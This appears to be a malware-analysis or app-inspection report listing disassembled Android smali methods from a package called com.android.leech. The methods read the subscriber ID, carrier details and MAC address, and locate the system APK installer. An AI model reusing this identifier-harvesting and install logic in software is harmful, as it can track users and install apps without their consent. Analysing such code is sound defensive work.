                                                                              74cond_62: if-nez v0, :cond_17
                                                                              76const-string v0, ""
                                                                              77goto/16 :goto_3
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getPackageManager
                                                                              • java.io.File.<init>
                                                                              • android.net.Uri.fromFile
                                                                              • android.content.Intent.<init>
                                                                              • android.content.Intent.setDataAndType
                                                                              • android.content.pm.PackageManager.queryIntentActivities
                                                                              • java.util.List.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                                                                              • android.content.pm.ActivityInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                                                                              • android.content.pm.ComponentInfo.packageName:Ljava/lang/String
                                                                              • android.content.ComponentName.<init>
                                                                              • android.content.pm.PackageManager.getActivityIcon
                                                                              • android.content.pm.ComponentInfo.packageName:Ljava/lang/String
                                                                              • android.content.ComponentName.<init>
                                                                              Strings
                                                                              • android.intent.action.VIEW
                                                                              • application/vnd.android.package-archive
                                                                              • com.android.packageinstaller.InstallAppProgress
                                                                              • com.android.packageinstaller.InstallInstalling
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.param p1, "filePath" # Ljava/lang/String;
                                                                              2.prologue
                                                                              4invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                                              5move-result-object v3
                                                                              6new-instance v7, Ljava/io/File;
                                                                              8invoke-direct {v7, p1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              10invoke-static {v7}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri;
                                                                              11move-result-object v6
                                                                              12new-instance v2, Landroid/content/Intent;
                                                                              14const-string v7, "android.intent.action.VIEW"
                                                                              16invoke-direct {v2, v7}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                                                              18const-string v7, "application/vnd.android.package-archive"
                                                                              20invoke-virtual {v2, v6, v7}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
                                                                              21const/high16 v7, 0x10000
                                                                              23invoke-virtual {v3, v2, v7}, Landroid/content/pm/PackageManager;->queryIntentActivities(Landroid/content/Intent;I)Ljava/util/List;
                                                                              24move-result-object v0
                                                                              26invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                                                              27move-result-object v7
                                                                              28cond_23:
                                                                              29invoke-interface {v7}, Ljava/util/Iterator;->hasNext()Z
                                                                              30move-result v8
                                                                              31if-eqz v8, :cond_59
                                                                              33invoke-interface {v7}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              34move-result-object v4
                                                                              35check-cast v4, Landroid/content/pm/ResolveInfo;
                                                                              37iget-object v8, v4, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                                                                              39iget-object v8, v8, Landroid/content/pm/ActivityInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                                                                              40iget v8, v8, Landroid/content/pm/ApplicationInfo;->flags:I
                                                                              41and-int/lit8 v8, v8, 0x1
                                                                              42if-eqz v8, :cond_23
                                                                              43new-instance v5, Landroid/content/ComponentName;
                                                                              45invoke-static {v4}, Lcom/android/leech/base/util/ApkInfos;->getComponentInfo(Landroid/content/pm/ResolveInfo;)Landroid/content/pm/ComponentInfo;
                                                                              46move-result-object v7
                                                                              48iget-object v7, v7, Landroid/content/pm/ComponentInfo;->packageName:Ljava/lang/String;
                                                                              50const-string v8, "com.android.packageinstaller.InstallAppProgress"
                                                                              52invoke-direct {v5, v7, v8}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                                                              53try_start_46:
                                                                              54invoke-virtual {v3, v5}, Landroid/content/pm/PackageManager;->getActivityIcon(Landroid/content/ComponentName;)Landroid/graphics/drawable/Drawable;
                                                                              55try_end_49: return-object v5
                                                                              56catch_4a: move-exception v1
                                                                              57new-instance v5, Landroid/content/ComponentName;
                                                                              59invoke-static {v4}, Lcom/android/leech/base/util/ApkInfos;->getComponentInfo(Landroid/content/pm/ResolveInfo;)Landroid/content/pm/ComponentInfo;
                                                                              60move-result-object v7
                                                                              62iget-object v7, v7, Landroid/content/pm/ComponentInfo;->packageName:Ljava/lang/String;
                                                                              64const-string v8, "com.android.packageinstaller.InstallInstalling"
                                                                              66invoke-direct {v5, v7, v8}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                                                              67goto/16 :goto_49
                                                                              68cond_59: const/4 v5, 0x0
                                                                              69goto/16 :goto_49
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getNetworkOperator
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              Strings
                                                                              • phone
                                                                              • android.permission.READ_PHONE_STATE
                                                                              • UMUtils
                                                                              • get registered operator e is
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1if-nez p0, :cond_4
                                                                              2goto_3: return-object v1
                                                                              3try_start_4:
                                                                              4const-string v0, "phone"
                                                                              6invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              7move-result-object v0
                                                                              8check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              10const-string v2, "android.permission.READ_PHONE_STATE"
                                                                              12invoke-static {p0, v2}, LuAgent/commonsdk/utils/UMUtils;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              13move-result v2
                                                                              14if-eqz v2, :cond_5c
                                                                              16invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getNetworkOperator()Ljava/lang/String;
                                                                              17try_end_17: move-result-object v0
                                                                              18goto_18: move-object v1, v0
                                                                              19goto/16 :goto_3
                                                                              20catch_1a: move-exception v0
                                                                              21sget-boolean v2, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              22if-eqz v2, :cond_37
                                                                              24const-string v2, "UMUtils"
                                                                              25new-instance v3, Ljava/lang/StringBuilder;
                                                                              27invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              29const-string v4, "get registered operator e is "
                                                                              31invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              32move-result-object v3
                                                                              34invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              35move-result-object v3
                                                                              37invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              38move-result-object v3
                                                                              40invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              41cond_37:
                                                                              42invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              43goto/16 :goto_3
                                                                              44catch_3b: move-exception v0
                                                                              45sget-boolean v2, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              46if-eqz v2, :cond_58
                                                                              48const-string v2, "UMUtils"
                                                                              49new-instance v3, Ljava/lang/StringBuilder;
                                                                              51invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              53const-string v4, "get registered operator e is "
                                                                              55invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              56move-result-object v3
                                                                              58invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              59move-result-object v3
                                                                              61invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              62move-result-object v3
                                                                              64invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              65cond_58:
                                                                              66invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              67goto/16 :goto_3
                                                                              68cond_5c: move-object v0, v1
                                                                              69goto/16 :goto_18
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getSubscriberId
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              Strings
                                                                              • phone
                                                                              • android.permission.READ_PHONE_STATE
                                                                              • UMUtils
                                                                              • get imei e is
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1try_start_1:
                                                                              2const-string v0, "phone"
                                                                              4invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              5move-result-object v0
                                                                              6check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              8const-string v2, "android.permission.READ_PHONE_STATE"
                                                                              10invoke-static {p0, v2}, LuAgent/commonsdk/utils/UMUtils;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              11move-result v2
                                                                              12if-eqz v2, :cond_59
                                                                              14invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;
                                                                              15try_end_14: move-result-object v0
                                                                              16goto_15: move-object v1, v0
                                                                              17goto_16: return-object v1
                                                                              18catch_17: move-exception v0
                                                                              19sget-boolean v2, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              20if-eqz v2, :cond_34
                                                                              22const-string v2, "UMUtils"
                                                                              23new-instance v3, Ljava/lang/StringBuilder;
                                                                              25invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              27const-string v4, "get imei e is "
                                                                              29invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              30move-result-object v3
                                                                              32invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              33move-result-object v3
                                                                              35invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              36move-result-object v3
                                                                              38invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              39cond_34:
                                                                              40invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              41goto/16 :goto_16
                                                                              42catch_38: move-exception v0
                                                                              43sget-boolean v2, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              44if-eqz v2, :cond_55
                                                                              46const-string v2, "UMUtils"
                                                                              47new-instance v3, Ljava/lang/StringBuilder;
                                                                              49invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              51const-string v4, "get imei e is "
                                                                              53invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              54move-result-object v3
                                                                              56invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              57move-result-object v3
                                                                              59invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              60move-result-object v3
                                                                              62invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              63cond_55:
                                                                              64invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              65goto/16 :goto_16
                                                                              66cond_59: move-object v0, v1
                                                                              67goto/16 :goto_15
                                                                              Cross References
                                                                              APIs
                                                                              • java.util.Date.after
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.util.Date.toString
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.security.cert.CertificateNotYetValidException.<init>
                                                                              • java.util.Date.before
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.util.Date.toString
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.security.cert.CertificateExpiredException.<init>
                                                                              Strings
                                                                              • NotBefore:
                                                                              • NotAfter:
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "now" # Ljava/util/Date;
                                                                              1.annotation system Ldalvik/annotation/Throws;
                                                                              2value = {
                                                                              3Ljava/security/cert/CertificateNotYetValidException;,
                                                                              4Ljava/security/cert/CertificateExpiredException;
                                                                              5}
                                                                              6.end annotation
                                                                              7.prologue
                                                                              9iget-object v0, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateValidity;->notBefore:Ljava/util/Date;
                                                                              11invoke-virtual {v0, p1}, Ljava/util/Date;->after(Ljava/util/Date;)Z
                                                                              12move-result v0
                                                                              13if-eqz v0, :cond_27
                                                                              14new-instance v0, Ljava/security/cert/CertificateNotYetValidException;
                                                                              15new-instance v1, Ljava/lang/StringBuilder;
                                                                              17invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                                              19const-string v2, "NotBefore: "
                                                                              21invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              22move-result-object v1
                                                                              24iget-object v2, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateValidity;->notBefore:Ljava/util/Date;
                                                                              26invoke-virtual {v2}, Ljava/util/Date;->toString()Ljava/lang/String;
                                                                              27move-result-object v2
                                                                              29invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              30move-result-object v1
                                                                              32invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              33move-result-object v1
                                                                              35invoke-direct {v0, v1}, Ljava/security/cert/CertificateNotYetValidException;-><init>(Ljava/lang/String;)V
                                                                              36throw v0
                                                                              37cond_27:
                                                                              38iget-object v0, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateValidity;->notAfter:Ljava/util/Date;
                                                                              40invoke-virtual {v0, p1}, Ljava/util/Date;->before(Ljava/util/Date;)Z
                                                                              41move-result v0
                                                                              42if-eqz v0, :cond_4e
                                                                              43new-instance v0, Ljava/security/cert/CertificateExpiredException;
                                                                              44new-instance v1, Ljava/lang/StringBuilder;
                                                                              46invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                                              48const-string v2, "NotAfter: "
                                                                              50invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              51move-result-object v1
                                                                              53iget-object v2, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateValidity;->notAfter:Ljava/util/Date;
                                                                              55invoke-virtual {v2}, Ljava/util/Date;->toString()Ljava/lang/String;
                                                                              56move-result-object v2
                                                                              58invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              59move-result-object v1
                                                                              61invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              62move-result-object v1
                                                                              64invoke-direct {v0, v1}, Ljava/security/cert/CertificateExpiredException;-><init>(Ljava/lang/String;)V
                                                                              65throw v0
                                                                              66cond_4e: return-void
                                                                              Cross References
                                                                              APIs
                                                                              • java.util.Date.after
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.util.Date.toString
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.security.cert.CertificateNotYetValidException.<init>
                                                                              • java.util.Date.before
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.util.Date.toString
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.security.cert.CertificateExpiredException.<init>
                                                                              Strings
                                                                              • NotBefore:
                                                                              • NotAfter:
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "now" # Ljava/util/Date;
                                                                              1.annotation system Ldalvik/annotation/Throws;
                                                                              2value = {
                                                                              3Ljava/security/cert/CertificateNotYetValidException;,
                                                                              4Ljava/security/cert/CertificateExpiredException;
                                                                              5}
                                                                              6.end annotation
                                                                              7.prologue
                                                                              9iget-object v0, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/PrivateKeyUsageExtension;->notBefore:Ljava/util/Date;
                                                                              11invoke-virtual {v0, p1}, Ljava/util/Date;->after(Ljava/util/Date;)Z
                                                                              12move-result v0
                                                                              13if-eqz v0, :cond_27
                                                                              14new-instance v0, Ljava/security/cert/CertificateNotYetValidException;
                                                                              15new-instance v1, Ljava/lang/StringBuilder;
                                                                              17invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                                              19const-string v2, "NotBefore: "
                                                                              21invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              22move-result-object v1
                                                                              24iget-object v2, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/PrivateKeyUsageExtension;->notBefore:Ljava/util/Date;
                                                                              26invoke-virtual {v2}, Ljava/util/Date;->toString()Ljava/lang/String;
                                                                              27move-result-object v2
                                                                              29invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              30move-result-object v1
                                                                              32invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              33move-result-object v1
                                                                              35invoke-direct {v0, v1}, Ljava/security/cert/CertificateNotYetValidException;-><init>(Ljava/lang/String;)V
                                                                              36throw v0
                                                                              37cond_27:
                                                                              38iget-object v0, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/PrivateKeyUsageExtension;->notAfter:Ljava/util/Date;
                                                                              40invoke-virtual {v0, p1}, Ljava/util/Date;->before(Ljava/util/Date;)Z
                                                                              41move-result v0
                                                                              42if-eqz v0, :cond_4e
                                                                              43new-instance v0, Ljava/security/cert/CertificateExpiredException;
                                                                              44new-instance v1, Ljava/lang/StringBuilder;
                                                                              46invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                                              48const-string v2, "NotAfter: "
                                                                              50invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              51move-result-object v1
                                                                              53iget-object v2, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/PrivateKeyUsageExtension;->notAfter:Ljava/util/Date;
                                                                              55invoke-virtual {v2}, Ljava/util/Date;->toString()Ljava/lang/String;
                                                                              56move-result-object v2
                                                                              58invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              59move-result-object v1
                                                                              61invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              62move-result-object v1
                                                                              64invoke-direct {v0, v1}, Ljava/security/cert/CertificateExpiredException;-><init>(Ljava/lang/String;)V
                                                                              65throw v0
                                                                              66cond_4e: return-void
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.wifi.WifiManager.getConnectionInfo
                                                                              • android.net.wifi.WifiInfo.getMacAddress
                                                                              • java.lang.String.equals
                                                                              • java.net.NetworkInterface.getByName
                                                                              • java.net.NetworkInterface.getByName
                                                                              • java.net.NetworkInterface.getByName
                                                                              • java.net.NetworkInterface.getHardwareAddress
                                                                              • java.lang.String.toLowerCase
                                                                              Strings
                                                                              • fail
                                                                              • wifi
                                                                              • 02:00:00:00:00:00
                                                                              • wifi.interface
                                                                              • wlan0
                                                                              • eth0
                                                                              • null
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "var0" # Landroid/content/Context;
                                                                              1.prologue
                                                                              3const-string v0, "fail"
                                                                              4if-nez p0, :cond_6
                                                                              5move-object v6, v0
                                                                              6goto_5: return-object v6
                                                                              7try_start_6:
                                                                              8const-string v6, "wifi"
                                                                              10invoke-virtual {p0, v6}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              11move-result-object v1
                                                                              12check-cast v1, Landroid/net/wifi/WifiManager;
                                                                              13if-eqz v1, :cond_48
                                                                              15invoke-virtual {v1}, Landroid/net/wifi/WifiManager;->getConnectionInfo()Landroid/net/wifi/WifiInfo;
                                                                              16move-result-object v2
                                                                              17if-eqz v2, :cond_48
                                                                              19invoke-virtual {v2}, Landroid/net/wifi/WifiInfo;->getMacAddress()Ljava/lang/String;
                                                                              20move-result-object v0
                                                                              21if-eqz v0, :cond_24
                                                                              23const-string v6, "02:00:00:00:00:00"
                                                                              25invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              26move-result v6
                                                                              27if-eqz v6, :cond_48
                                                                              28cond_24:
                                                                              29const-string v6, "wifi.interface"
                                                                              31invoke-static {p0, v6}, Lcom/android/leech/base/bugly/encode/ap;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                                                                              32move-result-object v3
                                                                              34invoke-static {v3}, Ljava/net/NetworkInterface;->getByName(Ljava/lang/String;)Ljava/net/NetworkInterface;
                                                                              35move-result-object v4
                                                                              36if-nez v4, :cond_36
                                                                              38const-string v6, "wlan0"
                                                                              40invoke-static {v6}, Ljava/net/NetworkInterface;->getByName(Ljava/lang/String;)Ljava/net/NetworkInterface;
                                                                              41move-result-object v4
                                                                              42cond_36: if-nez v4, :cond_3e
                                                                              44const-string v6, "eth0"
                                                                              46invoke-static {v6}, Ljava/net/NetworkInterface;->getByName(Ljava/lang/String;)Ljava/net/NetworkInterface;
                                                                              47move-result-object v4
                                                                              48cond_3e: if-eqz v4, :cond_48
                                                                              50invoke-virtual {v4}, Ljava/net/NetworkInterface;->getHardwareAddress()[B
                                                                              51move-result-object v5
                                                                              53invoke-static {v5}, Lcom/android/leech/base/bugly/encode/ap;->e([B)Ljava/lang/String;
                                                                              54try_end_47: move-result-object v0
                                                                              55cond_48: if-nez v0, :cond_4c
                                                                              57const-string v0, "null"
                                                                              58cond_4c:
                                                                              59invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                                                                              60move-result-object v6
                                                                              61goto/16 :goto_5
                                                                              62catch_51: move-exception v6
                                                                              63goto/16 :goto_48
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getNetworkOperatorName
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              Strings
                                                                              • Unknown
                                                                              • phone
                                                                              • UMUtils
                                                                              • get get operator e is
                                                                              Position Instruction Meta Information
                                                                              0if-nez p0, :cond_5
                                                                              2const-string v0, "Unknown"
                                                                              3goto_4: return-object v0
                                                                              4try_start_5:
                                                                              5const-string v0, "phone"
                                                                              7invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              8move-result-object v0
                                                                              9check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              11invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getNetworkOperatorName()Ljava/lang/String;
                                                                              12try_end_10: move-result-object v0
                                                                              13goto/16 :goto_4
                                                                              14catch_12: move-exception v0
                                                                              15sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              16if-eqz v1, :cond_2f
                                                                              18const-string v1, "UMUtils"
                                                                              19new-instance v2, Ljava/lang/StringBuilder;
                                                                              21invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                                              23const-string v3, "get get operator e is "
                                                                              25invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              26move-result-object v2
                                                                              28invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              29move-result-object v2
                                                                              31invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              32move-result-object v2
                                                                              34invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              35cond_2f:
                                                                              36invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              37goto_32:
                                                                              38const-string v0, "Unknown"
                                                                              39goto/16 :goto_4
                                                                              40catch_35: move-exception v0
                                                                              41sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              42if-eqz v1, :cond_52
                                                                              44const-string v1, "UMUtils"
                                                                              45new-instance v2, Ljava/lang/StringBuilder;
                                                                              47invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                                              49const-string v3, "get get operator e is "
                                                                              51invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              52move-result-object v2
                                                                              54invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              55move-result-object v2
                                                                              57invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              58move-result-object v2
                                                                              60invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              61cond_52:
                                                                              62invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              63goto/16 :goto_32
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.app.ActivityManager.getRunningAppProcesses
                                                                              • java.util.List.size
                                                                              • java.util.List.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • android.app.ActivityManager$RunningAppProcessInfo.pkgList:[Ljava/lang/String
                                                                              • android.content.Context.getPackageName
                                                                              • java.lang.String.equals
                                                                              • android.app.ActivityManager.getRunningTasks
                                                                              • java.util.List.size
                                                                              • java.util.List.get
                                                                              • android.app.ActivityManager$RunningTaskInfo.topActivity:Landroid/content/ComponentName
                                                                              • android.content.ComponentName.getPackageName
                                                                              • android.content.Context.getPackageName
                                                                              • java.lang.String.equals
                                                                              Strings
                                                                              • activity
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1const/4 v8, 0x1
                                                                              2const/4 v9, 0x0
                                                                              3const/4 v3, 0x1
                                                                              4try_start_3:
                                                                              5invoke-static {}, Lcom/android/leech/base/LeechGlobal;->getContext()Landroid/content/Context;
                                                                              6move-result-object v7
                                                                              8const-string v10, "activity"
                                                                              10invoke-virtual {v7, v10}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              11move-result-object v1
                                                                              12check-cast v1, Landroid/app/ActivityManager;
                                                                              13sget v7, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              14const/16 v10, 0x14
                                                                              15if-le v7, v10, :cond_51
                                                                              17invoke-virtual {v1}, Landroid/app/ActivityManager;->getRunningAppProcesses()Ljava/util/List;
                                                                              18move-result-object v5
                                                                              19if-eqz v5, :cond_7a
                                                                              21invoke-interface {v5}, Ljava/util/List;->size()I
                                                                              22move-result v7
                                                                              23if-lez v7, :cond_7a
                                                                              25invoke-interface {v5}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                                                              26move-result-object v10
                                                                              27cond_25:
                                                                              28invoke-interface {v10}, Ljava/util/Iterator;->hasNext()Z
                                                                              29move-result v7
                                                                              30if-eqz v7, :cond_7a
                                                                              32invoke-interface {v10}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              33move-result-object v4
                                                                              34check-cast v4, Landroid/app/ActivityManager$RunningAppProcessInfo;
                                                                              35iget v7, v4, Landroid/app/ActivityManager$RunningAppProcessInfo;->importance:I
                                                                              36const/16 v11, 0x64
                                                                              37if-ne v7, v11, :cond_25
                                                                              39iget-object v11, v4, Landroid/app/ActivityManager$RunningAppProcessInfo;->pkgList:[Ljava/lang/String;
                                                                              40array-length v12, v11
                                                                              41move v7, v9
                                                                              42goto_3b: if-ge v7, v12, :cond_25
                                                                              43aget-object v0, v11, v7
                                                                              45invoke-static {}, Lcom/android/leech/base/LeechGlobal;->getContext()Landroid/content/Context;
                                                                              46move-result-object v13
                                                                              48invoke-virtual {v13}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                                              49move-result-object v13
